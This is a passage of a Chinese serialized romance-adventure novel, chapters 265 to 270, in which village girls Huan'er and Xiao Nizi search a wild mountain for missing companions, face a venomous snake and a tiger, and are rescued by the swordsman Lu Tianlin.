王二这才急急回过神来,嘴角故作含笑着吞吞吐吐道:“我…我实在是在家歇不住,便想出来走走透透气。对了,你快回去吧,待会儿你娘该着急了!” “那你一个人…真的可以吗?”小妮子依旧蹙眉替其忧心道。 “唉,走吧走吧,才小小年纪怎么就如此婆婆妈妈了,这若是长大了还了得。让你走,你便走就是了,快走快走,走啊……”岂料王二竟忽然似是哄赶一般地朝着小妮子急急摆手,不厌其烦地道,就差亲手将她推着回去了。 无奈,小妮子只好嘟 囔着妥协,最后叮嘱其说道:“这天刚下过雨,山里路滑,王叔你身上的病还没好利索,可千万不能进山去啊!村里的汉子都已经进山去寻那姑娘了,你就放心吧。那…小妮子先回去了,你也早些回去,记得晚点儿一定要来我家吃饭哦。” “知道了,知道了,我一定会去的,快回去吧!”王二催促着。 小妮子说完,便似是仍旧不放心地三步一回头,时而还驻足下来片刻,缓缓离去。 直到看着其身影拐了道弯,最终消失在自己的视线里,王二方才微微摇摇头,喃喃自语道:“原来这么多年里,村里的人都对我王二如此照顾。以后,我王二再也不好吃懒做了,我一定会努力做个自食其力的人,谢谢你们大家!” 情真意切地默默将话一说完,王二便似是瞬间浑身都充满了无穷的力量,转头兀自毫不犹豫地踏上了那条已经二十几年都未走过,差点儿就快要被他忘记的上山羊肠小道上。 那里,有一个这世上只有俩人才知道的神秘地方。 快到晌午饭的时候,欢儿主仆俩终于风尘仆仆地被男子送回到桃花店村里。 欢儿和男子俩人先下马来,再一起将老妇人扶下,欢儿有些奇怪地看了看门前四周,纳闷地沉声自言自语道:“奇怪,今日村子里怎么这样安静?平日里那些无所事事的人们总爱聚集在她家门前附近的一棵老槐树下天方夜谭,今日里却一个影子都不见了。” 一推开家门,欢儿便高兴地朝内大声疾呼道:“若曦,若曦,老夫人回来了……” “咦,怎么没声音呢?难道还没回来吗?或者是又出去了?”欢儿一边心里纳闷着,一边急急进屋替老妇人换洗上了一套干净衣裳。 方才小心翼翼地将虚弱的主人扶起身来坐下,又向其与男子二人奉上了热茶。 这时,坐在一旁的男子终于忍不住一路上心里的纳闷与惊诧,开口问道:“老夫人,没想到你们住在这么偏僻的地方,沿途似乎再也不见任何其他村庄和人影。在下竟不知在西秦国里,还有一个如此似是被遗忘了的角落。不知,这个村子叫什么名字?” “陆公子请用茶,这里叫作‘桃花店村’,是比较偏僻,鲜为人知。这次,我们主仆俩,真是幸亏遇到了陆公子,否则……对了,还未请教公子尊姓大名,家住何处?”老妇人至今似是仍还惊魂未定地客气道。 “‘’桃花店‘…醉漾轻舟,信流引到花深处,尘缘相误,无计花间住。烟水茫茫,千里斜阳暮,山无数,乱红如雨,不记来时路。’这里倒的确是个不惹尘埃的世外桃源,不乏是一个避世的好地方。不过,老夫人无须多礼,今后唤我‘天麟’即可。”男子抿了口茶汤,谦虚地幽幽道。 老妇人正要轻抿一口手里的茶汤,然眼看着已到了嘴边却嘎然而止,惊愣住了道:“‘陆公子’…‘天麟’…‘陆天麟’…公子叫做‘陆天麟’?” “正是,在下乃是西秦学院陆贤之子,陆天麟。”男子此时方才正式向其介绍自己道。 “西秦学院…陆贤之子…陆天麟,他竟是陆贤的儿子,竟然都已经这么大了……”老妇人怔愣着捧着手里的茶汤,嘴里喃喃重复道,那声音小的似是连她自己都听不见,然心里却对此名字似是如雷贯耳一般。 “老夫人,我们…以前是不是在哪儿见过?”这时,陆天麟亦好像方才注意到换上了一身干净衣裳的老妇人,其眉眼里的不凡气质好似以前在哪里见过一般,便犹犹豫豫地问道。 闻此,老妇人忙回过神来,轻抿了口手里的茶汤,故作平静地含笑说道“哦,老身在这个村子里已经度过了大半辈子了,除了昨日里第一次出了个远门,还不慎迷路,跌入了泥潭里又崴了脚。又怎么会认识公子呢?想必,许是老身和公子以前所见的什么故人面相上有几分相似吧!” 陆天麟心里亦只是有浅浅的几分怀疑,闻此也只能就此作罢道:“或许吧,真是对不起,是天麟冒昧了。天麟有一事想请问老夫人,最近村子里有没有见到什么陌生人出现?” “陌生人…不知公子所言是什么样的陌生人?对了,听公子方才讲,好像是在寻什么人?”闻此,老妇人顿时将眼睛一怔,似是心里已猜到了几分,继而又试探着问。 “哦,是这样的。家父让天麟在城南寻找一个身份神秘…一个整日里遮着面纱,看上去约摸有十七、八岁的女子。”陆天麟言语里显然保留了许多,道。 闻此,虽然直觉告诉她,陆贤父子应该是自己可以信任的人。但她如今已是身不在皇城太久,对于现在朝堂上的一切都尚未可知,为防万一,她还是多留几分心的比较好。 于是,老妇人浅笑回道:“这桃花店村里,地处偏僻又不繁华,人们素来一向是只往外走去看外面的世界,从未曾听说过有人进来。” 陆天麟听了,似是正有些垂头丧气地低头思索着,忽然,欢儿眼睛咕噜一转,似是想说些什么,急道:“老夫人,会不会……” “住嘴!”岂料欢儿话刚开口,便被老妇人厉声呵斥制止住。 欢儿知道主人一定是责备自己多嘴了,抿了抿嘴,便转念说道:“老夫人,您一定饿了吧?欢儿先去庖屋里给您和陆公子煮些饭汤,然后再去村里王二家找若曦回来吧,她一定是还在王二家呢,可好?” “嗯,你先下去吧。待会儿若是找到了若曦,她眼睛不好,你好好帮她检查检查,莫要让她因此而耽误了王二的病情。王二家里没人照料,你们俩个都不必急着回来。”老妇人话中有话地吩咐道。 欢儿领悟其意后,正欲转身退出去,陆天麟忙站起身来伸手将欢儿拦住,道:“不必了,老夫人,欢儿姑娘。既然天麟已经将二位平安送回家中,便不在此久留了。天麟还得尽快去办父亲所交待的事。就此别过,二位,后会有期!” 第二百六十五章:你死定了! 欢儿领悟其意后,正欲转身退出去,陆天麟忙站起身来伸手将欢儿拦住,道:“不必了,老夫人,欢儿姑娘。既然天麟已经将二位平安送回家中,便不在此久留了。天麟还得尽快去办父亲所交待的事。就此别过,二位,后会有期!” 眼看着自己的救命恩人就这样要离开了,刚侧过身去的欢儿心里顿时一怔,随即神情慌张,满腹焦急地顿足停了下来。 然碍于老妇人方才至今还回荡在她耳畔的训斥之声,她又不敢再开口说一个字,只能蹙眉默默地看着老妇人似是对男子就此离去而根本无动于衷的一张平静极了的脸。 她多希望主子能开口将恩人的脚步留住,至少让她自己亲手煮一餐粗茶淡饭来招待他一下,以示感谢。 然老妇人却只管捧着手里的茶碗一边独自吹开那漂浮于茶水之上的青青茶叶,一边漫不经心地道了一句:“既然如此,那老身就不留公子了。欢儿,送客!” 见此,陆天麟的脸上似是亦顿时现出了一抹尴尬之色,却依旧强忍着内心里莫名的一丝纳闷与不解,炯炯目光不经意地落在了老妇人正捏着茶碗盖的手腕之上。 只见“一寸紫檀一寸金”,素来拥有“帝王之木”的美誉的一串无论是色泽还是质地,都相当珍贵的紫檀手链,此时却套在一位与其身处于如此一个穷乡僻壤身份极不相符的老妇腕上。那串紫檀珠子世间少有,看起来却又似有几分眼熟,像是在哪里见过。 怔愣了片刻,陆天麟兀自故作一脸平静地对其微微笑了笑,继而转身大步走出了屋子。 欢儿忙跟随其脚步亦夺门而出。 到了门口,她手里牵着缰绳亦是极为不解地对陆天麟说道:“陆公子,真是不好意思。我们老夫人平时不是这样的,今日里不知道是怎么了,她从来都没有对人这个样子过。” “欢儿姑娘不必放在心上,许是你家主人刚受了惊讶,至今还惊魂未定吧。不碍事的,你还是速速回去好生照顾她。若是有缘,我们一定还会再见的,姑娘保重!”话一说完,陆天麟便接过欢儿手里的缰绳,兀自一步跨上了高高的马背。 继而只闻“驾”的一声,便策马朝着方才来时的路上头也不回地奔腾而去。 留下欢儿一人独自站在门口,默默地望着其渐行渐远,高大伟岸的潇洒背影,满腹的五味杂陈着。 不知过了多久,目光早已不及陆天麟翩翩离去的身影,欢儿终于回过神来无奈地轻叹了口气。 正欲转身进门去,一阵清脆如百灵鸟般,快乐的女子声音叫住了她“欢儿姐!” 欢儿闻声忙朝其侧头看了过去,接着一脸欣喜地道:“小妮子,你拎着这么沉的篮子,是要去哪儿啊?” 小妮子近身上前将竹篮盖子掀开来一角,含笑说道:“欢儿姐,这是我娘用我今天早起刚从山脚下采回来的极鲜嫩的车前草叶子所做的素包和味道清新的蒿子粑粑,还有几样家常小菜,再加上这色香味俱全的素什锦汤,让你和老夫人也一起尝尝。元宵节那夜,我不小心撞到了你家客人,真是对不起。” 欢儿听闻,忙推让着道“小妮子,你这是做什么?大家都乡里乡亲的,干嘛这么见外。若曦她又不是纸糊的,撞一下怕什么,再说了,你那晚还送了我一只精美的兔子灯呢。那照这样说的话,我是不是也要还你一盏灯呢?快拿回去,快拿回去,你们自己吃吧!” “欢儿姐,你就拿着吧,我娘做了太多,不吃就都坏了,若是扔掉了多可惜啊!”小妮子推着竹篮坚持道。 闻此,欢儿似是已无法再拒绝,于是,一脸难色地勉强道:“好吧,这次我就暂且收下了,不过以后可千万别再这样了,老夫人会不高兴的。” 看着欢儿终于欣然肯接过了她手里的竹篮,小妮子声音清脆地乐道:”知道了,欢儿姐。” 这时,小妮子渐渐褪去了脸上的笑容,顿时犹豫地小心翼翼问了声道:”对了,欢儿姐,你和老夫人…都还好吗?” 闻声,欢儿猛地抬头望着小妮子那清澈的一双明眸,心中突然惊愣了一下,她们刚刚所遭遇的事,怎么会这么快便有人知道了。 方才她回来的时候明明并未见到门前有任何人影啊,难道是自己受了惊吓,产生了幻觉。 于是,欢儿抿了抿嘴,沉吟答道:“嗯,虽是都受了些惊吓,但也还好,一切都会慢慢好起来的。老夫人她不是个普通的人,这点儿事,她还是能抗过去的。” 小妮子顿时松了口气,连连说道:“那就好,那就好,先前大家都还在为你们担心呢……” 欢儿浅笑,小妮子突然注意到欢儿脸上的伤痕,惊道:“咦,欢儿姐,你的脸是怎么了?” 欢儿顿时将脸捂住,扯谎道:“喔,没事,我自己不小心弄的。” 小妮子心里有些纳闷,但想着竹篮里的饭菜可能快要凉了,于是便最后说道:“既然如此,那欢儿姐赶快回去照顾老夫人吧,你自己也要当心自己的 第二百六十六章:小妮子,你错了! 就在陆天麟心里正暗自对于老妇人的神秘身份做出种种猜忌,疑惑重重时,不知不觉中已经远离了桃花店村,到了距离其约摸有两三里路程之遥的一山脚下的两个分岔路口。 手牵骏马,驻足站在这个山花遍地,小草青青,又因为昨日的一场大雨过后,至今都尚还有些许泥泞的分岔路口,显而易见其中的一条路是可以上山去的。而他要走的路,正是另一条可以通往外面的喧嚣复杂,又繁花似锦的宽阔大道。 忽然,一股浓郁的桃花香气扑鼻而来,他似是本能地抬起头来朝着四周放眼寻了过去。 这才远远看到,原来,在另一条可以通往山上的路尽头,山脚下竟有一片甚是壮观旺盛的十里桃林正在争相怒放着。 大雨将一片片粉红粉红的桃花花瓣打落了一地,就像是给这片本就天真质朴的土地涂上了一层绯红色,甚美! “桃花春色暖先开,明媚谁人不看来。可惜狂风吹落后,殷红片片点莓苔。”陆天麟含笑凝神默默感叹道。 就在这时,小妮子拖着欢儿气喘吁吁地亦已经追赶了上来,正欲向着那片十里桃林奔去。 陆天麟忽然缓过神来瞥见,顿感吃惊地出声将其拦住:“欢儿姑娘,欢儿姑娘请留步。” 俩人心里着急,竟没有注意到另一条路上有位翩翩公子的存在。闻声,欢儿亦驻足朝其望去,继而瞪大了眼睛,挑眉惊讶地道:“陆公子,你怎么还在这儿啊?…不会是…迷路了吧?” 陆天麟心下里一着急,竟不知该如何作答。又灵光一闪,便抬手指着山脚下的那片桃林,故作惊喜道:“哦,不是不是,欢儿姑娘莫要担心。我…我只是路经此处,远远地看到那边山脚下的十里桃林甚是壮观罕见,故而驻足下来看看。不知欢儿姑娘,你又为何如此这般神色匆匆的?这么着急,是赶着想要去哪儿吗?我可以捎你一程啊。” 陆天麟说着,挑眉扬了扬手里的马缰绳。 欢儿还在思量琢磨着该如何回他才好,毕竟这么快便又再见到了自己的救命恩人,又听到他这句如此暖心的话,没有人知道她心里有多高兴了。 然一回想起她的主人方才莫名的对这眼前的男子那般的决绝,似是不容许她有半点置喙的将她所有的话通通都噎了回去,欢儿又迟疑了。 这时,她身旁俏皮热情的小妮子毫不客气地说道:“好啊,好啊,有了快马,我们跑得自然比现在快的多了!这位公子,有劳了,我们想要去山里找……” 岂料小妮子话刚说到一半,陆天麟牵着马正欲踱步到俩人身边来,欢儿急急伸出手从侧面死死地堵住了小妮子的嘴,其用力之大,竟瞬间就使小妮子的整个脸憋的通红。 欢 儿就这样一边堵着小妮子的嘴,一边故作笑脸违心地说道:“陆公子,我们俩只是想去山里采些野菜回来,如此小事,就不必劳烦公子费心了。公子还是赶快上路,去办你父亲所交待的要事吧,欢儿就此别过,咱们后会有期!” 话音尚还未落,欢儿便早已将小妮子连拉带拽着,直朝山脚下的桃花林方向疾奔而去。半路途中,时不时地还不住回过头去看看他是不是还停留在原地。 小妮子看见,疑惑不解地问:“欢儿姐,方才那位骑高大骏马,英俊潇洒的公子是何人?以前怎么从来都没在村子里见过。” 欢儿有些出神地一边遐想,一边沉声道:“他是我和老夫人的救命恩人,陆公子!” “陆公子…既是熟识之人,那欢儿姐方才为何不让他送我们一程?看他身配宝剑,一定是个习武之人。有男子在,岂不更方便些?从大清早至今已有两个时辰了,不知我们还能不能在山里寻到王叔?早知道他是盘算着背着大家伙偷偷进山,说什么一大早我都会将他拖回去的。从这边上山的路极为崎岖,也甚少有人了解路况,而且野兽更容易出来活动,我们俩个弱女子……”小妮子越说心里越害怕,不禁放慢了脚步,最后似是都不敢继续往下说了去。 “此事…一言难尽。毕竟,他是个外人。对了,小妮子,你是怎么知道这里有条上山的路的?”欢儿纳闷不解地问道。 “喔,那是几年前的事了。有一天,我在山里采蘑菇,一不小心迷了路。就在走投无路之际,天亦渐渐黑了下来,就正巧碰到了王叔,是他带我从这条捷径上回到家的。要不是他,我的小命怕是早就要喂了这山里的老虎狮子之类了!”多年以前的事至今说起,小妮子却似是仍有些后怕着。 “几年前...那后来,你还有没有再走过这条山路,如今你还记得吗?”欢儿忽然心里浮起了一抹担忧,只问道。 “我…就只走过那一次,现在...应该...应该还记得吧!”小妮子一边踱步着,垂首咬了咬牙,揉搓着衣角,言语里透出几分并不怎么肯定道。 欢儿见此,顿时将眉头皱的更紧了些,心里默默开始祈祷着“老天保佑,若曦一定不能有事,否则老夫人一定受不了这个打击。虽然我不知道老夫人究竟在做什么,若曦又为何对于老夫人如此重要。但是,我知道,若曦她是个好人,也是个可怜人,她不该如此短命!” 很快,俩名女子便赶到了路的尽头,又拐了个弯,绕过了那山脚下开的正旺的十里桃林,来到了小妮子与王二早晨遇见的地方。 小妮子伸手指着一片空地说道:“喏,这就是我早上遇见王叔的地方 第二百六十七章:独向险山行 欢儿幽幽道:“我相信,在整个桃花店村里,没有人比王二能更熟悉这座山。所以,王二他一定是想到了些什么,否则他不可能带病急着挺而走险踏上这条崎岖小路上山的。而现在全村的汉子都在四处找若曦,所以能让他如此不管不顾的事情,极有可能是关于…若曦的,或许他真的能找回若曦也不无可能。如此,我就更不能眼睁睁看着让他一个人冒险了!” “可这条路所通往的是上山的路,并不是若曦姑娘所跌落的山坡下方啊。总不见得,若曦姑娘会笨到已然跌下了山坡,竟还又自己爬上来吧!依照她当时所滑下的山坡地势来看,落至坡底反倒更容易被人发现。然如果真是这样的话,樵夫他们一帮人早就应该找到她了才对啊!欢儿姐,你会不会是想多了?”小妮子反驳道。 虽然小妮子分析的亦是句句都在理,然不知为何,欢儿心里总感觉跟着王二走一定不会错。 于是,她长长的舒了口气,最后一咬牙,伸手握紧了小妮子的手,对其意味深长地交待说道:“小妮子,谢谢你今日能带我来这里。接下来的路,就让我自己去走吧!你也已经出来很久了,该赶快回去才是。如果...若是万一我有个什么闪失…我们家老夫人,日后里就拜托村里的大家伙都能够帮忙照顾一二了。欢儿我来生做牛做马,亦会报答你们的。” “呸呸呸,欢儿姐,你瞎说什么呢?我不许你这么说。”小妮子忙往一旁地上连啐了几口,阻止道。 然欢儿却轻轻摇头,眼里噙满了泪水,将小妮子的双手顿时亦握的更紧了些,示意她认真听自己说话:“你回去代我告诉我们家老夫人,欢儿生生世世都不会忘记她对欢儿的养育和教诲。是欢儿该死,欢儿没用,没能保护好若曦。此次若是不能完好无损地将若曦寻回,欢儿亦再无颜苟活于这个世上。” 话一说完,欢儿便一脸决绝地扭头过去,猛地将自己的双手松开,捂嘴兀自大步直朝着王二的脚印所向之处,疾步奔上了那条惊险重重又似极其诡异的山路而去。 “欢儿姐,欢儿姐……”小妮子心里此时又惊,又怕,又无助极了地朝着欢儿离去的弱小背影声声疾呼着。 此时,她心里不知有多后悔今日她所做的这一切。而此时,她却也只能束手无策地看着欢儿渐去渐远的背影,一边呜呜地哭着,一边抹着伤心的眼泪。 时间只不过须臾,待她再次猛地抬起头来,只见欢儿竟早已消失在自己的视线里,踏入了前方那片看上去高大巍峨,黑压压茂盛而又似蒙着一不尽神秘面纱的密林之中,惊起一群群林间鸟雀来或纷纷飞至密林的上空中盘旋,亦或受了惊吓后便直接四处落荒逃窜了 去。 欢儿此时所登上的,是山的最东头,亦是整条山脉的最高峰,它如鹤立鸡群之势般位于群山之东,与村民们世世代代往日里所习惯经常活动的山西头遥遥相对。 因为老一辈人流传下来说,山的东头以前经常发生野兽吃人的祸事,但又不能将野兽赶尽杀绝,所以不可来山东头惊扰这些山兽,而要与其各取所需,和平共处,便成了村子里纯朴的人们之间人尽皆知的一条不成文的规定。 久而久之,整座山里的树木和山货,便唯以东头这片的长势最为茂盛,品种也最多。 没有砍伐,开采和人工改造,这头山林的环境亦最为原始和险峻,神秘。 据说,山上林木茂盛,中草药遍地皆是,尤其是世间罕见的独叶草为整个灵空大陆里此山之独有。 正是因其丰富的植物资源,才为山里的各种珍禽异兽提供了充足的食物,使其方能够无忧无虑的于这里繁衍生息。 在低山区的岩石裸露处,水流长年累月沿着断裂带流经侵蚀,致使其形成了幽深的峡谷,若是从此坠落,怕是一定会连骨头渣子都不见的。 过了低山区,深谷间则是山梁陡峭,又多呈锯齿状。其间巨石嶙峋又千姿百态,山中林木层峦叠翠,势若屏风。 欢儿一走过虽蜿蜒曲折,但却尚且还在阳光照射下的羊肠小道,到了深山里,只见里面到处竟是那般的阴暗潮湿,且林中尽是一片浓浓的烟雾弥漫着,让人顿时感觉身上极不舒服,她紧紧皱起眉头来,惊呆了,真可谓是“纵使晴明无雨色,入云深处已沾衣。” 视线能及范围更是尤其模糊,只见身边周围高大的树木密密麻麻地排解着,仔细一看,似是还都是一个样似的。 欢儿只不过是一时惊讶,不由自主地挪步走了数步而已,竟已经分不清东南与西北,找不到来时的路,唯只见脚下地面上落满的尽是朽枝与腐叶。 顿时,她对着脚下的地面紧张极了地急转了好几圈,继而慌乱地开口疾呼道:“糟了,王二的脚印,王二的脚印呢?在哪里,在哪里……” 紧接着,只见她扑通一声急急跪倒在地,用一双稚嫩的小手在地上的腐叶之间胡乱一通地寻觅拨动着。 不知过了多久,欢儿似是已绝望地放弃了寻找,黯然神伤地愣坐在潮湿的 第二百六十八章:迷失东山 就这样,俩个年龄相仿,都只不过还是个十三岁上下的孩子,惊魂未定地紧紧抱作一团互相慰籍着。不知过了多久,终于都慢慢平复了些许下来。 俩人经过了一番甚是激烈的争吵之后,小妮子最终还是被欢儿的坚强意志所打败,决定继续陪伴其往前走,去寻找王二和若曦的踪迹。 走着走着,见欢儿气喘吁吁似是已有些无力支撑,小妮子将其扶到一边的山石上坐下,对其关怀道:“欢儿姐,坐下歇会儿吧!” 虽然心中着急,极其不肯,然身体却很诚实,欢儿知道自己已经快要到达极限了。 在桃花店村里,平时她基本上都没怎么上过山,更别说是此时这座高大巍峨又让人心惊胆战,处处凶险诡异的几乎是一片绝地了。 她终是被小妮子按着坐了下来,小妮子又摘下一片大树叶,疾步跑到距离不远的一边,接了许多清澈甘甜的山泉来递给欢儿。 自己则单手叉腰,用衣袖拭了拭汗水,驻足朝着四周快速地扫了一圈,兀自转身似是动作相当熟练地爬上了一棵参天大树。 欢儿刚刚饮下了一口甘泉,方觉神清气爽了许多,这才慢慢拭起了额头的细汗来。 然猛一抬起头来,见到小妮子正蹲身在一高大的半树腰上,便忽地站起身来朝其惊声大喊道:“小妮子,危险,快下来,你在做什么?” 然小妮子却只是朝其神秘地笑着,轻描淡写地回应了她一句:“放心吧,我不会有事的。” 很快,便见小妮子拖着一根从树上折下来的硬树枝缓缓走来,近身到欢儿身旁后去除了上面几个多余的细小分支和绿叶,继而又将其用脚踩着,大力地折断一分为二,递给了欢儿一根,满脸欣喜道:“有了这个,欢儿姐就不会感觉那么累了。” 闻此,欢儿顿时眼里噙满了泪水,咬着嘴唇,一把将小妮子紧紧地揽入怀中,语重心长地道:“小妮子,小妮子,你可千万别再做这种傻事了。你要是有个什么闪失,那我可怎么办呢……” 就这样,俩个此时相依为命的弱女子各自手里拄着一截树枝,偶尔将其当拐杖用,偶尔用其拨动着沿途周围里地上厚厚堆积着的枯枝腐叶,或寻觅着有关于王二和若曦的蛛丝马迹,或查看到处危机四伏的陷阱或险境,手牵着手继续开始仔细地在深山里走走停停、困难重重,爬上溜下地到处寻觅起来。 七拐八拐的,俩人却不禁又绕回到了这块尖石旁来。 不远处的那股清泉仍然清晰可见,方才小妮子自制拐杖时所剥落的几片新鲜树叶与残枝,尚且都还踩在脚下。 于是,俩人面面相觑着,心里都不约而同地意识到,原来她们又绕回到了原地,她们…又迷路了。 东山太大了,与小妮子经常出没的西山相比,那西山俨然就如是它的九牛一毛般渺小,恍若不见。 而显然,小妮子亦果然早已忘记了很多年前王二曾带她摸黑所走过的路。 可纵使这样,亦不能将这俩个坚强的小姑娘就此打倒。 很快,俩个女子又互相搀扶着跌跌撞撞地再次出发,偶尔还不忘在路经过的树干上以尖石刻下些许记号,代表是已经走过的路。 俩人一起又不知在山林里穿梭了多久,直到再也没看见那些刻在树上的记号,看来这次似是真的已经走出了那片令她们迷失的迷惘丛林。 沿着山路一直往前走,只见一路上尽是古木参天,浓荫铺地。 与这时节尚还比较荒芜的西山相比,原来东山之中早已是处处都展现出了一派生机盎然的景象来。 小妮子看着这一路上甚是令人叹为观止的山珍野味,眼睛瞪大的圆溜溜的,欢喜极了地道:“欢儿姐,原来东山里真是像村民们所流传的那般富饶。你看这一路的板栗、猴头、枇杷、蘑菇、还有木耳等,西山之长势与之相比,简直差之何止是千里万里啊!” 欢儿则更感叹这虽然惊悚,但却是繁华一路上所际遇的各种奇珍异草:“是啊,这里一路上我所见的灵芝、贝母、黄莲、三七、小紫苑、各种参类还有黄芪、黄精、天麻、首乌、菖蒲、大黄、太羌、威灵仙、独活、五味子、灵芝、猪苓、升麻、柴胡、前胡等,其储量和长势都是极好的,这里的药材资源实在是太惊人了!老夫人若是知道了,一定会很高兴的。尤其是这个,小妮子你看:这是在世上如凤毛麟角般罕见难得,被视为世间珍宝的独叶草,竟会存在于这座山中……” 欢儿正蹲身下去在一片潮湿洼地、土质松软,苔藓密布的红杉树下,津津有味地向小妮子指着介绍一种只长有一叶的绿色植物时,忽然,从附近发出来的一阵鸟鸣声引起了俩人的注意。 寻声觅去,突然看到前方有一只似乎极为惊慌失措的小鸟现了出来,俩人顿时面面相觑着驻足下来,不知这只单独出现的雏鸟究竟发生了什么。 “莫非是它哪里受伤了吗?”欢儿心里一边喃喃猜测着,一边迈步上前去欲要替其查看。 就在这电光石火之间,突然从雏鸟身旁一水沟边不远的乱石堆中,窜出来一条大蛇,不偏不倚正好将那只雏鸟的头部一口死死地咬住。 欢儿看着眼前如此渗人的景象,惊呆了! 只见那只可怜的雏鸟,在一条体态健硕,面目甚是狰狞的大蛇的口中顿时便失去了全身所有的意识。 而接着,大蛇便用其长长的牙齿开始将它所捕获的猎物一寸 第二百六十九章:一路上有你 小妮子机灵地将身子一闪,便躲过了雄赳赳,气昂昂的五步蛇所发出的第一次攻击。然手中的木棍也未能将腾起的大蛇击中半分,五步蛇只是跌落在了地上。 然它却并未放弃作战而四处逃窜去,却是立即调头卷土重来,再次向小妮子的脚下快速地滑行了过来。 眼看着这次极近距离,且更快更为凶猛的再次攻击,五步蛇俨然是冲着小妮子的小腿欲要扑跳上去,就在其正欲跃起的时候,欢儿瞬时捂起了自己的眼睛,发出响震整片山林的一声惨叫道:“不要啊,小妮子……” 此刻,欢儿只觉的周围世界里一片漆黑,似是所有一切都停滞了下来。 心跳,呼吸,意识,就连千万年来世间亘古不变的这空气亦都瞬间凝结了住,甚至那山里的风,也都因为此刻眼前所发生的人间惨剧而亦停了,唯独只有耳边一直嗡嗡作响着。 不知过了多久,欢儿终于似是慢慢地缓过了神来,继而缓缓松开了蒙在自己呆滞的眼睛上的一双手,想要看看小妮子最后一眼。 岂料,她的眼前竟突然什么都没有,没有小妮子的尸体,也没有五步蛇的踪影。 一时间里,欢儿紧紧握着那根明明是小妮子为她悉心制成的拐杖,望着眼前的一切惊呆了。 仿佛方才所发生的一切都像是一场梦一般,小妮子被她挡在了山下不曾追上山来,而世间奇毒的五步蛇也似是根本就没有出现过一般。 “难道这一切都是幻境,我的幻觉?”欢儿纳闷地看着自己手中的拐杖,喃喃自语道。 话音刚落,一似是百灵鸟般清脆的女子声音突然在她的身后响起,道:“欢儿姐!” 闻声,欢儿猛地转过了身去,只见两只衣袖高高挽起,一脸微笑着面对她,正亭亭玉立着的小妮子手里,轻巧地控制着方才那条尚还对她们昂首吐芯的五步蛇的蛇头。 “小妮子,你跑到哪儿去了?你吓死我了,你知不知道,我还以为我……”欢儿一边说着,激动地都流下了泪来。 小妮子高高举起另一手里捏着的一截树枝,一边将其塞进五步蛇的嘴里,一边对欢儿解释道:“喏,我只是在这个家伙即将向我跃起的时候抓住了它,又在你身后这里找出一截较硬的树枝来,支起这面目狰狞的毒蛇的嘴巴来,防止它再咬伤人而已嘛!有什么好担心的。我不是说了,我们不会有事的,那我们就一定不会有事。在这深山里,你可得相信我小妮子,知道么?我小妮子打从学会走路起,便日日跟着村里的人在这山里出没,什么没见过,什么又没遇过呢!区区一条毒蛇,就想吓倒我。哼,姑奶奶今儿就取了你的蛇胆,让你以后再也不能害人。” 见此,欢儿看着眼前 这个比自己略小的小姑娘,真是不知该哭还是该笑。 话音刚落,只见小妮子忽然就伸出了手过去真的想要取那五步蛇的蛇胆,欢儿忙上前两步伸手阻止其道:“小妮子,快住手,不要杀它!五步蛇是一种极为珍贵的药材,可以用它来治疗麻风和恶疮。快将它放生了吧!” 小妮子闻此,嘟起嘴来甚感不可思议地道:“放生?你没搞错,我没听错吧?我好不容易才抓着的,这若是一松手,它要是再来攻击我们了怎么办?” 欢儿一边摇头,一边摆摆手,道:“不会的,不会的,你那么厉害,它一定不会胆敢再威胁你了。求求你了,小妮子。若不是因为今日我们有更重要的事急着办的话,我倒还真想带它回去送给老夫人呢!她一定会很喜欢这种得来不易的珍贵药材的。可它若是就这样死在野外里,岂不是暴殄天物吗?” “唉,果然不愧是活菩萨身旁长大的人啊!这条蛇方才可差点儿就要了你我的小命耶!好不容易抓着,就这样放过了它,唉!真是可惜,可惜了啊!”闻此,小妮子嘴里虽连连哀怨叹息着,却终是听了欢儿的劝告,小心翼翼地将它放了下来。 谁知,那条五步蛇这次真的像是怕极了小妮子极为高超的捕蛇技能,一着地面,便“嗖”的一下,似是一溜烟般直往草丛里急急逃窜了去,很快便消失的无影无踪。 一时间,小妮子竟被其逃命的愕人速度惊呆了。 看着五步蛇仓皇而逃,欢儿终于松了口气,上前拉起小妮子的手,亲昵地替其将两只衣袖缓缓放下。 又紧紧地捉住小妮子的两只手,似是永远都不想再松开,含笑着对她说道:“小妮子,幸亏一路上有你!” 俩个女子就这样手握着手,你看我,我又看你,脸上都洋溢着一脸庆幸与纯真无邪的笑容。 伴随着深山里的天色似乎已渐渐暗了下来,寻人的事情却依然没有丝毫进展,俩人这时来到了一片茂密的阔叶林地带。 走着走着,小妮子忽然似是又觉察到了什么,渐渐放慢了脚步,目光犀利,皱着眉头悄悄地拉起了欢儿的手,继而忽地一下便闪身躲到了一棵粗壮的大树后面。 欢儿惊慌地问道:“怎么了?” “嘘”小妮子飞快地将手指抵在唇上,示意她安静,兀自小心翼翼地露出半只眼睛来朝外面查看去。 只见竟是一强壮高大,身长看起来约摸七尺左右,头大且圆,耳短,四肢粗大有力,长尾,全身白色并布满黑色横纹的庞然大物正在距离俩人不远处的林间独自缓慢游荡觅食着。 &nb 第二百七十章:身份真相大白 就在俩个女子正说话间,那黑白条纹的大虫已然到达了猎物的身边,却并没有丝毫放慢其脚步,而是瞬间用尽全身力量将四肢一起发力,张牙舞爪着将整个身子腾起在了半空中,张着血盆大口向着地上俩个紧紧将头抱作一团,禁闭起绝望和恐惧的双眼的俩女子猛扑了过去。 就在这命悬一线,千钧一发之际,忽然不知从何处飞身而出一个眉目清朗,身姿俊雅的白袍男子身影。刚好越过了,其实倒更像是踩踏着那只大虫威风凛凛的大脑袋。 只见其在空中只手起剑落的一瞬间,不知不觉中那大虫便负伤痛的嗷嗷惨叫着调转方向直往深林里急急逃窜了去,两只幼崽亦紧随其后仓皇而逃。 而白袍男子则正好顺势面向着俩个女子落在了其面前。 始终都还是天生在乡野村夫家里长大的小妮子比较胆大一些,听着耳边的动静似是有些不太对劲,她纳闷着先睁开了眼来。 当一看到面前熟悉的英俊男子,便瞬间对其扬声惊喜道:“陆公子?怎么是你?” 一边说着,她伸手轻轻拍了拍至今依然都还紧闭着双眼,似是咬牙切齿一般地还在打着哆嗦的欢儿的肩膀。 这时,欢儿方才惊了一下,忽地睁开了眼睛,却似是根本就没有听到小妮子方才的话一般,兀自惊慌地连连道:“怎么了?怎么了?” 见此,小妮子忍不住一手捂起嘴来“扑哧”笑出了声,很快又回过神来用手指指了指男子站立的方向。 欢儿这才朝其看了过去,顿时蹙眉大惊道:“陆公子,怎么是你?你怎么会在这里?” 话音刚落,尚不及陆天麟开口说话,欢儿便先忽地站起了身来,急急朝着四下里一边仔细寻觅着,一边疑惑地问俩人道:“大虫呢?那三只大虫呢?” 